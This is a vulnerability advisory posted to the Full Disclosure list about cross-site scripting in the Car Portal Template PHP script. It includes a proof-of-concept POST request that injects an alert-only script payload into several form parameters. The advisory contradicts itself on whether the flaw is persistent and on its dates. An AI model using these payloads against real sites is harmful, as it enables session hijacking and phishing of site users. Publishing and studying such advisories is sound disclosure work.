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Date: Thu, 17 Feb 2022 12:21:30 +0100
From: "info@...nerability-lab.com" <info@...nerability-lab.com>
To: fulldisclosure@...lists.org
Subject: [FD] Car Portal Template - (Search) Persistent Web Vulnerability

Document Title:
===============
Car Portal Template - (Search) Persistent Web Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2299


Release Date:
=============
2022-02-08


Vulnerability Laboratory ID (VL-ID):
====================================
2299


Common Vulnerability Scoring System:
====================================
5.6


Vulnerability Class:
====================
Cross Site Scripting - Non Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
Advanced web solution for creating multi-user car classifieds and auto portal websites. The software has many different features
for both the administrators to manage the sites and for the users like functionality for the car dealers to create and manage
their own micro site, email alerts in order to notify the users when new cars meeting their search criteria are listed, save the
car listings, recommend them to friends, share the listings on the social networks, multi-language support and many others.

(Copy of the Homepage:https://www.netartmedia.net/pricing#car-portal  )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a non persistent post inject vulnerability in the Car Portal Template PHP Script.


Affected Product(s):
====================
NetArt Media
Product: Car Portal Template PHP Script (v2021) - CMS (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2021-09-01: Researcher Notification & Coordination (Security Researcher)
2021-09-02: Vendor Notification (Security Department)
2021-**-**: Vendor Response/Feedback (Security Department)
2021-**-**: Vendor Fix/Patch (Service Developer Team)
2021-**-**: Security Acknowledgements (Security Department)
2021-02-08: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Pre Auth (No Privileges or Session)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Responsible Disclosure


Technical Details & Description:
================================
A non-persistent post inject web vulnerability has been discovered in the official Car Portal Template PHP Script.
The vulnerability allows remote attackers to inject malicious script code in post method requests to compromise user
session data or to manipulate application contents for clients.

The cross site scripting web vulnerability is located in the `username`, `user_first_name`, `user_last_name`, `variant`,
`power`, and `milage` parameters of the `index search` module. Remote attackers without privileged access are able to
inject own malicious script code in the search input field of the index module post method request. The execution takes
place in the results page of the search after submit via post.

Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent
external redirects to malicious source and non-persistent manipulation of affected application modules.

Request method(s):
[+] POST

Vulnerable File(s):
[+] index.php

Vulnerable Input(s):
[+] Trim
[+] Power
[+] Milage
[+] First name
[+] Last name
[+] Username

Vulnerable Parameter(s):
[+] username
[+] user_first_name
[+] user_last_name
[+] variant
[+] power
[+] milage


Proof of Concept (PoC):
=======================
The client-side post inject web vulnerability can be exploited by remote attackers without account and with low or medium user interaction.
For security demonstration or to reproduce the cross site web vulnerability follow the provided information and steps below to continue.


--- PoC Session Logs (POST) ---
https://car-portal-template.localhost:8080/cars2/index.php
Host: car-portal-template.localhost:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 878
Origin:https://car-portal-template.localhost:8080
Connection: keep-alive
Referer:https://car-portal-template.localhost:8080/cars2/index.php
Cookie: language=en; PHPSESSID=23d238178bfb19f9bd93f25f1b465822
ad_type=&selected_package=0&property_type=1,1&property_zip=&price=,&mod=sell&lang=en&Step=2&current_type=1
&type=1&username="><img src="evil.source" onload=alert(document.domain)>&password="><img src="evil.source" onload=alert(document.domain)>
&user_first_name="><img src="evil.source" onload=alert(document.domain)>&user_last_name="><img src="evil.source" onload=alert(document.domain)>
&user_email=test@....de&user_phone=&car_make=Aixam&car_model=505&variant="><img src="evil.source" onload=alert(document.domain)>
&year=2004&location1=18&location2=-1&level_location=&post_location=18
&power="><img src="evil.source" onload=alert(document.domain)>&mileage="><img src="evil.source" onload=alert(document.domain)>
&transmission=M_MANUAL&fuel_type=M_PETROL&exterior_color=M_WHITE&description=
-
POST: HTTP/2.0 200 OK
server: Apache
set-cookie: language=en; expires=Tue; Max-Age=31536000
vary: Accept-Encoding
content-encoding: gzip
content-length: 6974
content-type: text/html; charset=UTF-8

Note: Searched queries can also be saved to be replied by the client-side within the session to followup exploitation.


Reference(s):
https://car-portal-template.localhost:8080/
https://car-portal-template.localhost:8080/cars2/
https://car-portal-template.localhost:8080/cars2/index.php


Credits & Authors:
==================
Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab
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or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

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-- 
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RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE


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